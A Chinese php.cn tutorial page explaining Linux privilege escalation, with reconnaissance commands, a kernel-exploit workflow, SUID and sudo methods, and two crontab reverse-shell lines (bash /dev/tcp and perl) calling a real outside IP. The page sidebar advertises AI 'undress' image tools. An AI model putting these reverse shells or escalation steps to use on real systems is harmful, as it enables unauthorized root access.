目錄
linux提权概念介绍
Linux其他提權方法
首頁 運維 linux運維 linux提權是什麼意思

linux提權是什麼意思

Mar 15, 2023 am 10:46 AM
linux 提權

提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限;Linux提权一般是指获取root用户权限的操作过程。Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况;提权是否成功的关键是信息收集是否完整。

linux提權是什麼意思

本教程操作环境:linux7.3系统、Dell G3电脑。

linux提权概念介绍

提权是什么

提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限。

详细来说,就是指利用操作系统或应用软件中的程序漏洞、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。

Linux提权一般是指获取root用户权限的操作过程。

Linux提权目的

提权操作有风险为什么还要进行提权?什么情况下需要进行提权?获取高权限之后可以做什么?

通过命令执行漏洞获取的一个反弹shell或是通过Web漏洞获取了一个Webshell后,一般情况下权限都较低。在执行一些重要敏感的操作或是对重要的文件进行修改时无法正常进行,便需要进行提权。Linux中安装的数据库、中间件等一般都不是以root用户启动的,通过数据库或是中间件获取到的权限是是低权限的。

获取一个root权限是每一个黑客的梦想。

  • 读取写入服务器中的重要文件:
    • 修改root密码
    • 替换系统命令
  • 在系统中放置更为隐蔽的后门:
    • ping后门
    • Rootkit
  • 保证服务器重启之后权限仍在:
    • 内存后门

Linux提权本质

Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况。

Linux信息收集

任何提权的第一步操作一定是对操作系统进行信息收集。提权是否成功的关键是信息收集是否完整。

  • 内核设备信息:

    • uname -a    打印所有可用的系统信息
    • uname -r    内核版本
    • uname -n    系统主机名。
    • uname -m    查看系统内核架构(64位/32位)
    • hostname    系统主机名
    • cat /proc/version    内核信息
    • cat /etc/*-release   分发信息
    • cat /etc/issue       分发信息
    • cat /proc/cpuinfo    CPU信息
  • 用户和群组信息:

    • cat /etc/passwd     列出系统上的所有用户
    • cat /etc/group      列出系统上的所有组
    • grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'  列出所有的超级用户账户
    • whoami              查看当前用户
    • w                   谁目前已登录,他们正在做什么
    • last                最后登录用户的列表
    • lastlog             所有用户上次登录的信息
    • lastlog -u %username%  有关指定用户上次登录的信息
    • lastlog |grep -v "Never"  以前登录用户的信息
  • 用户和权限信息:

    • whoami        当前用户名
    • id            当前用户信息
    • cat /etc/sudoers  谁被允许以root身份执行
    • sudo -l       当前用户可以以root身份执行操作
  • 环境系统变量信息:

    • env        显示环境变量
    • set        现实环境变量
    • echo %PATH 路径信息
    • history    显示当前用户的历史命令记录
    • pwd        输出工作目录
    • cat /etc/profile   显示默认系统变量
    • cat /etc/shells    显示可用的shell

内核漏洞提权

内核漏洞提权指的是普通用户访问操作系统内核,利用内核漏洞将权限提高为root权限,一般首先需要知晓操作系统的内核,内核的版本等信息,再寻找内核漏洞的EXP进行提权

linux常用查看系统信息命令

uname -a 查看系统全部信息
uname -r 查看内核版本
cat /proc/version 查看内核信息
cat /etc/*-realease 查看CentOS版本
cat /etc/issue 查看Ubuntu版本
cat /etc/redhat-release 查看RedHat版本
env 查看环境变量
echo $PATH 查看当前环境变量
awk -F: '($3==0){print $1}' /etc/passwd 查找UID为0的用户
find / -user root -perm -4000 -exec ls -ldb {} \;  查找设置了SUID的文件
登入後複製

例子:

1)查看系统的内核版本

linux提權是什麼意思

2)使用kali的searchsploit尋找對應的核心漏洞或網路上尋找對應的核心漏洞

linux提權是什麼意思

3)使用gcc將C語言程式編譯成可執行文件,上傳至靶機,執行即可提權至root權限

Linux其他提權方法

1、排程任務提權

利用原理:

  • 當/bin/sh指向/bin/dash的時候(ubuntu預設這樣,當前的靶機也是這樣),反彈shell用bash的話得這樣彈: * * * * * root bash -c "bash -i  >&/dev/tcp/106.13.124.93/2333 0>&1"
    這樣彈shell的時候不知道為什麼很慢,耐心等等
  • */1 * * * * root perl -e 'use Socket;\(i="106.13.124.93";\)p=2333;socket(S,PF_INET,SOCK_STREAM ,getprotobyname("tcp"));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN,">&S");open( STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2、利用SUID提權

  • SUID概念:SUID(設定使用者ID)是賦予檔案的一種權限,它會出現在檔案擁有者權限的執行位上,具有這種權限的檔案會在執行時,使呼叫者暫時取得該檔案擁有者的權限。 SUID可以讓呼叫者以文件擁有者的身份運行該文件,所以我們利用SUID提權的想法就是運行root用戶所擁有的SUID的文件,那麼我們運行該文件的時候就得獲得root用戶的身份了。那麼,為什麼要給Linux二進位檔案設定這種權限呢?其實原因有很多,例如,程式ping需要root權限才能開啟網路套接字,但執行程式的用戶通常都是由一般用戶,來驗證與其他主機的連通性。

  • SUID提點:什麼是suid提權呢?一個文件,它有s標誌,而且他輸入root,那麼我們運行這個程式就可以有了root的權限,而且這個程式還得能執行命令,那麼我們就能從普通用戶提升到了root權限了。

  • 在本機上尋找符合條件的檔案。

    • find / -user root -perm -4000 -print 2>/dev/null
    • find / -perm -u=s -type f 2>/dev/null
    • find / -user root -perm -4000 -exec ls -ldb {} ;
  • 常見的可以提權的程式

    • nmap vim find Bash More Less Nano cp netcat

#3、利用SUDO提權

##Linux系統中可以使用sudo執行一個只有root才能執行的指令,設定檔保存在/etc/sudoers,sudo -l可以列出目前使用者支援sudo的指令。

盡量從程式碼層面進行漏洞的分析。

4、環境變數提權

  • 查看目前環境變數:

      echo $PATH

5、root權限運行的服務

    #以root的運行的服務,其中包括第三方軟體都可以進行提權。
相關推薦:《

Linux影片教學

以上是linux提權是什麼意思的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

<🎜>:泡泡膠模擬器無窮大 - 如何獲取和使用皇家鑰匙
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
北端:融合系統,解釋
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
Mandragora:巫婆樹的耳語 - 如何解鎖抓鉤
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1665
14
CakePHP 教程
1424
52
Laravel 教程
1321
25
PHP教程
1269
29
C# 教程
1249
24
Linux體系結構:揭示5個基本組件 Linux體系結構:揭示5個基本組件 Apr 20, 2025 am 12:04 AM

Linux系統的五個基本組件是:1.內核,2.系統庫,3.系統實用程序,4.圖形用戶界面,5.應用程序。內核管理硬件資源,系統庫提供預編譯函數,系統實用程序用於系統管理,GUI提供可視化交互,應用程序利用這些組件實現功能。

git怎麼查看倉庫地址 git怎麼查看倉庫地址 Apr 17, 2025 pm 01:54 PM

要查看 Git 倉庫地址,請執行以下步驟:1. 打開命令行並導航到倉庫目錄;2. 運行 "git remote -v" 命令;3. 查看輸出中的倉庫名稱及其相應的地址。

vscode上一步下一步快捷鍵 vscode上一步下一步快捷鍵 Apr 15, 2025 pm 10:51 PM

VS Code 一步/下一步快捷鍵的使用方法:一步(向後):Windows/Linux:Ctrl ←;macOS:Cmd ←下一步(向前):Windows/Linux:Ctrl →;macOS:Cmd →

notepad怎麼運行java代碼 notepad怎麼運行java代碼 Apr 16, 2025 pm 07:39 PM

雖然 Notepad 無法直接運行 Java 代碼,但可以通過借助其他工具實現:使用命令行編譯器 (javac) 編譯代碼,生成字節碼文件 (filename.class)。使用 Java 解釋器 (java) 解釋字節碼,執行代碼並輸出結果。

sublime寫好代碼後如何運行 sublime寫好代碼後如何運行 Apr 16, 2025 am 08:51 AM

在 Sublime 中運行代碼的方法有六種:通過熱鍵、菜單、構建系統、命令行、設置默認構建系統和自定義構建命令,並可通過右鍵單擊項目/文件運行單個文件/項目,構建系統可用性取決於 Sublime Text 的安裝情況。

Linux的主要目的是什麼? Linux的主要目的是什麼? Apr 16, 2025 am 12:19 AM

Linux的主要用途包括:1.服務器操作系統,2.嵌入式系統,3.桌面操作系統,4.開發和測試環境。 Linux在這些領域表現出色,提供了穩定性、安全性和高效的開發工具。

laravel安裝代碼 laravel安裝代碼 Apr 18, 2025 pm 12:30 PM

要安裝 Laravel,需依序進行以下步驟:安裝 Composer(適用於 macOS/Linux 和 Windows)安裝 Laravel 安裝器創建新項目啟動服務訪問應用程序(網址:http://127.0.0.1:8000)設置數據庫連接(如果需要)

git軟件安裝 git軟件安裝 Apr 17, 2025 am 11:57 AM

安裝 Git 軟件包括以下步驟:下載安裝包運行安裝包驗證安裝配置 Git安裝 Git Bash(僅限 Windows)

See all articles